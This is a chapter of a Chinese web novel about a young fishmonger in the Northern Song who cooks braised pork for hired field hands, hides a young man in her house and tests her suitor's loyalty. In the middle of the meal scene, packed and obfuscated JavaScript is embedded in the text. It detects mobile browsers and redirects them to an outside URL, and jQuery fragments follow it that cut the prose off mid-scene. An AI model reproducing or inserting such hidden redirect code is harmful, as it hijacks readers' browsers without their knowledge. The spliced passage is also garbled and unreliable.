18. 杀鱼的第十八天

作品:《北宋杀鱼手札(美食)

    胡水生早些日子便用水缸浸泡好稻种,这会,田间开辟的秧田已一片嫩绿,焕发盎然生机。


    随着一声春雷落下,惊蛰已到,月河村的村民们热火朝天投入春耕大业。


    田边小径上,辣蓼草隐藏在众多杂草中间,悄悄萌出串串花苞。


    再过段时日,等它开出粉白的小花,便可拿来做成酒曲,酿些甜酒与果酒,想到那甜滋滋的味道,平安口中津液顿生。


    最近外边温度见长,她想酿些甜酒解解馋了。


    待来到自家田里,不出平安所料,她爷爷果然舍不得钱,这会正赤着脚挖沟渠引水进秧田。


    “爷爷。”平安突然出声,吓了胡水生一跳。


    他脚下一滑,顺着湿滑的田埂趔趄着便要往田间倒去。


    平安赶忙上前扶住,顺势抢过他手中的钉耙,却被胡水生连连拒绝:“你这孩子,去休息吧,我自个能成。”


    平安只是倔强地拉着钉耙的木柄,一双眼睛涨得通红。


    胡水生见状,只得告软让步:“行吧,我就出来。”


    平安这才满意离开,去到堂伯明伯家中。


    明伯是二伯爷爷家的幺儿,与她爹年纪相近,这些年对她家一向多有照顾。


    他家的秧田还差些火候,今日倒是没急着犁地插秧,平安去时,他正弯腰在菜园除草。


    听得平安来意,他理了理草帽,放下锄头就要出门。


    见平安上来就论价,明伯忙谦辞:“没事的,亲戚之间帮帮忙都是小事。”


    平安劝道:“明伯,找您做我更放心。若是不找您,我找其他人也得出钱。你放着家中的活来我家帮忙,我已经很感激,怎好让你吃亏。”


    “分这么清作甚。”他小声嘀咕一句。


    看着他垂下的头,平安出言将价格敲定,她心中知晓,若真是一文钱没带回家,怕是家中婆娘那边不好交代。


    喊来明伯,平安又去王老爷子家喊来他儿子牵牛犁地。


    她们家的田不大,两个人耕上半日应当足以将田翻完。


    请了两个人帮忙,平安扶着爷爷在路边休息,这才放心回家做午饭。


    他们这请人帮忙都需包饭食,过得去的人家都会做上一两个荤菜,再讲究些的务必配上一些酒水。


    是以平安从市集回来,便从屠户那里砍了一刀上好的五花肉带回家。


    这五花肉,三肥两瘦,肥瘦均匀。


    无论是切片爆炒还是文火炖煮,对于常年缺少荤腥的农家来说,都算得上一道油水浓厚的上好的待客菜。


    不过,今日她不打算炖煮,她想做一道梅干菜扣肉。


    见得平安进门,躲在房中观察的木头欣喜将门打开。


    “回来这样早?”


    “是啊,请了人帮忙耕田,爷爷就松快一点,我得回来做饭。”


    两人独处的机会可不多,木头喜得那双勾人的眸子霎时亮晶晶。


    他笑得灿烂,脸上神情恣意又朝气:“胡娘子你可真孝顺。”


    “行了。”平安好笑地寻来去年晒干的干菜洗净泡发,“我会给你留菜,你乖乖的,莫要让人发现了。”


    “好吧。”说起这个,木头就怏了,他就这样见不得人,那白斩鸡书生就这样好?


    但他也知自己的存在会让她名节受损,只得委委屈屈应下:“我帮你挑水烧火。”


    “成!”


    平安备齐大料葱姜花椒与香油,这才吩咐木头开始烧火。


    新鲜的猪肉与姜、花椒一块冷水下锅,入黄酒去腥。


    剩余猪肉切片剁碎,可做成肉丸汤。


    看平安剁得咚咚作响,一旁烧火的木头跃跃欲试:“好玩吗?”


    平安撒入一撮淀粉,将剁成颗粒的肉沫用刀翻拌均匀:“剁一会便翻拌一下,这样做出来的肉丸才细腻筋道。”


    “明白。”木头兴致勃勃地拿起菜刀操作,这个活可比烧火好玩多了。


    看他这孩童模样,平安无奈地摇摇头。


    剁肉的功夫,锅中的肉已变色。


    下香料葱姜与酱油一同熬煮,如此熬制的酱油吸满浓烈的香料芳香,无论是炒拌还是卤煮,都十分得宜。


    煮熟的肉四面均匀抹上酱油上色,入油锅小火煎至表皮微黄起泡。


    炸好的五花肉放冷水中浸泡,待表皮被泡至虎皮状捞出。


    这样处理的猪皮才会更加蓬松,更好吸收梅干菜的香气与汁水。


    另起锅,入猪油与姜片煸香,待姜香蔓延,将金黄的姜片捞出,下梅干菜与秘制酱汁煸炒,最后再倒入些许香油提香。


    霎时间,浓郁的鲜香在灶房弥漫,在一旁发愣的木头不禁地咽了咽口水。


    自那日吃鸭后,家中已经许久未曾开荤,他看见那一团黑乎乎的剩菜就觉脑仁疼。


    今日见着这团深色的梅干菜,他本也有些看不上,但这香味闻着却意外地开胃。


    平安并未察觉他的动作,只是埋头将五花肉切成均匀的薄片倒扣在碗中,爆香的梅干菜伴随着沥沥的油汤均匀铺在肉片上,碗口盖盆封住。


    “烧火了。”


    “来了。”木头如梦初醒,赶忙坐下拾柴。


    另起锅烧水上蒸笼,平安转身去地里寻觅青菜。


    一场春雨过后,菜园里的萝卜菜已撑着翠绿的小伞盖破土而出,平安扯上一篮子,顺道检查院门有无反锁。


    这萝卜菜的杆杆晶莹似玉,细如香柱,脆似藕节,摘下来依旧脆生生、水灵灵。也是因着细嫩,扯出来时夹带不少枯草与泥灰,两人蹲地上开始挑捡。


    饶是小心翼翼,叶杆也因两人动作折断不少。


    将这篮子菜细致淘洗两遍,平安方回到灶房做她的肉丸汤。


    待锅中水沸,一个个圆乎乎的小肉球在水中迅速翻滚变色,舀盐调味,盛出备用。


    等爷爷他们回家后再下青菜,如此出来的肉丸萝卜菜汤才称得上新鲜细嫩,不会丧失原有的娇嫩口感。


    今日人多,两个菜肯定不成,她另敲了两个鸡蛋,撒入少许细盐与冷水拌匀,放进蒸笼蒸一盏茶便正好。


    这样做出来的蒸蛋,细腻滑嫩,无蜂窝孔,吃起来比方娘子家的豆腐还嫩。


    干体力活,人就总烧胃馋油水,平安自己也是做过苦力的,自然舍得放油。


    至于木头,她下了一把青菜进肉丸汤中,夹出几颗肉丸和煮熟的青菜。


    等扣肉熟了再给他留上几块,想来也够他吃了。


    “安安!”门外响起胡水生的声音。


    平安赶忙放下手中碗筷,唤木头藏起来。


    “喂~”他不满地睨了平安一眼,此刻那双漂亮眸子里却隐有薄雾,平白让平安看出几分委屈意味。


    “快点呀。”平安有些着急。


    这不是早就说好的事,要是被人发现,她的名声可就真毁了。


    看他半天不动,平安急得拉着他就要去杂物房。


    “我没说不去啊。”木头被拉得一个趔趄,一边走一边想伸手揉自己被捏痛的胳膊。


    “放。”木头瞬间回神止言,喜滋滋地看着平安拉他的手,他这段时日果真有进步,嘿嘿。


    平安哪管他在发什么春,她将夹好的菜碗往他怀中一塞,快速关了门。


    饭桌上,酱色的肉片被撒了一撮葱花,呈圆半圆状叠放在碟中,四周是一圈甘香诱人,油水丰厚的梅干菜。


    蒸蛋颜色金黄,表面光滑,瞧着颤颤巍巍,不用吃便可想象它的细嫩。


    一旁的肉丸汤,肉丸精致圆润,青菜细嫩碧绿,看起来满满当当,清澈干净。


    看着眼前这丰盛的菜肴,明伯和王山两人喜不自胜,连声夸赞太过客气。


    “小意思,小意思。”胡水生摆摆手,眼角眉梢却满是得意。


    平安突然想起好像没有给木头盛饭,她找了个借口去到灶房,待她蹑手蹑脚去到杂物房寻他时,见到的就是他端着菜碗委屈巴巴的模样。


    得了,不仅没盛饭,也没给筷子。


    “听话。”


    送完东西,她随意哄了他一句,便又朝堂屋走去。


    尚未进门,就听得明伯他们在与爷爷议论她的婚事。


    “幺叔,你家安安好是好,就是年岁大了,总是迟迟不嫁人这也不是个事。”


    “这孩子的心思,你们还不知道,都是我拖累了她。”


    “话不是这么说,哪家娘子长大不嫁人,依我看,幺叔莫要惯着她。”


    平安上前的脚步一顿,听得里面话题渐转,劝酒声,谈笑声此起彼伏,这才端着手中的泡萝卜走进去。


    “安安这手艺是真不错。”明伯夹了块扣肉赞道。


    王山也连连附和。


    平安抿唇接纳他们的夸奖,闷声夹了块肉细细品尝起来。


    唔,五花肉肥瘦适宜,酱香浓郁,那中间的肥肉更是颤颤巍巍,细腻如膏脂。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068112|149090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃起来瘦而不柴,肥而不腻。


    其中滋润香浓的油水,恰好抚慰农人饥劳多日的身体与干瘪的肚腹。


    垫在下边的梅干菜恰到好处地解了扣肉的油,瞬而将五花肉浓郁的荤香化在坛中窖藏多日的甘香与窖香之中。


    平安觉得,碗底香气扑鼻,咸香下饭的梅干菜,才是这碗扣肉的灵魂。不但可给扣肉吸油增香,还极其下饭。


    舀上一勺扑鼻香气的梅干菜进饭碗,浓油赤酱的梅干菜与回香的豆豉很快便裹挟着香浓的油汤渗透进米饭中,将其翻拌均匀,洁白的米粒瞬间变得油滋滋,香喷喷,三两下便可吃下一碗饭。


    同样的步骤与香料,若这干菜味道不成,做出来的扣肉也失了味道。


    几年前,平安也没想到,冬日里烂大街的白菜,经过晒干,坛窖,蒸煮,竟能散发那样清新奇特的香味。


    说起来得多亏她堂姑,还是她回家省亲,见得爷孙俩吃得干巴巴,这才教了这门手艺给她。


    这白菜晒干的湿度,坛子的好坏,窖藏的温度,蒸制的时长,都是影响梅干菜味道的重要因素。


    在堂姑教习的基础上,平安又适当添加香料与豆豉增香,经过几次试验,这才得来今日这盘酱红油亮,软烂醇香的扣肉。


    几人吃得酒足饭饱,又扛着农具往田间而去。


    平安这才落下心中那颗大石头,赶忙将锁住的门打开。


    木头果然已经吃完,他兴冲冲地去灶房打上一碗米饭,待见得桌面如风卷残云般的剩菜,面色顿时一垮。


    “胡娘子,我今儿都未曾吃到滑嫩的蒸蛋。”他语气委屈,可怜巴巴地挑了一筷白米饭给她看。


    “好,下次给你做,灶房里还留着一些梅干菜呢。”


    看着他欢快离去的背影,平安沉默半晌,敢情是装的。


    这日,季泽难得地踏入河东地界,只是他并未进市集,只在路口朝平安招手。


    平安杀完手中这条鱼,这才朝他走过去。季泽见到她后,扫视四周,低声喊她去人少的地方说话。


    原来是许娘子请她今日去喝茶。


    所幸家中的田犁出也需放水多浸润几日,尚不着急插秧。


    看着他厚底的鞋边纤尘未染,平安垂眸,便点头应了,有些事,她应早做决断才是。


    许娘子果真守诺,脚店不见了许芳菲的身影。


    不过,即使不住她家,那许小娘子家也离这近,平日里来串门探望亦是方便。


    她望了眼季泽依旧温润的面庞,心中再也无与他谈论的兴致。


    “你,这两日都去哪了?”季泽猝然开口。


    “家中农活忙,也就早些收摊回家帮忙。”


    “哦。”季泽讷讷回应。


    他小心地瞥了眼平安,状似不经意地提及过两日便是他同窗的昏礼,届时他得离开几日去青州赴宴。


    平安明白他的目的,但在此之前,她想问清几件事。


    “说起来,不知许家表妹可许了人家?”


    骤闻此言,季泽脸色微变,他嘴唇嗫喏半晌,最终只喃喃道出两字:“尚未。”


    平安只做不知他的犹疑,笑道:“我观她对你甚是亲密,还以为你们早已定下亲事。”


    季泽猛然抬头,凝视平安。


    可与平安沉静无波的眼神对上,他却迅速移开视线。


    “不曾。”季泽声音微颤。


    显然,这个回答已难以掩藏三分心虚,想来是他曾对许芳菲承诺过什么?


    “若我们成婚,你可愿与她断绝往来?”


    季泽被平安这直白的话问得眉峰微蹙,他第一次粗声反驳平安提议:“胡娘子,表妹是我亲人,我无论与谁成亲,都不可与她断绝往来。你平日里颇明事理,为何会提出这等要求?”


    平安略一颔首,笑着听他继续说。


    许是察觉自己方才语气不善,季泽顿了顿,睨了平安一眼,放柔声音:“更何况,表妹待你一向和善,你为何要与她断绝往来?”


    看他神色认真,不似作伪,平安便知这是他的真心话。她知这要求过分,本就不期待他答应,她只是想试一试季泽的心。


    平安捂嘴轻笑一声:“明白了,今日与你开个玩笑。”


    “胡娘子这玩笑好生骇人。”


    再后面,季泽说了什么,平安已不记得。


    毕竟两人今后或将再无交集,他再说些什么,他与表妹如何清白,都与她无关。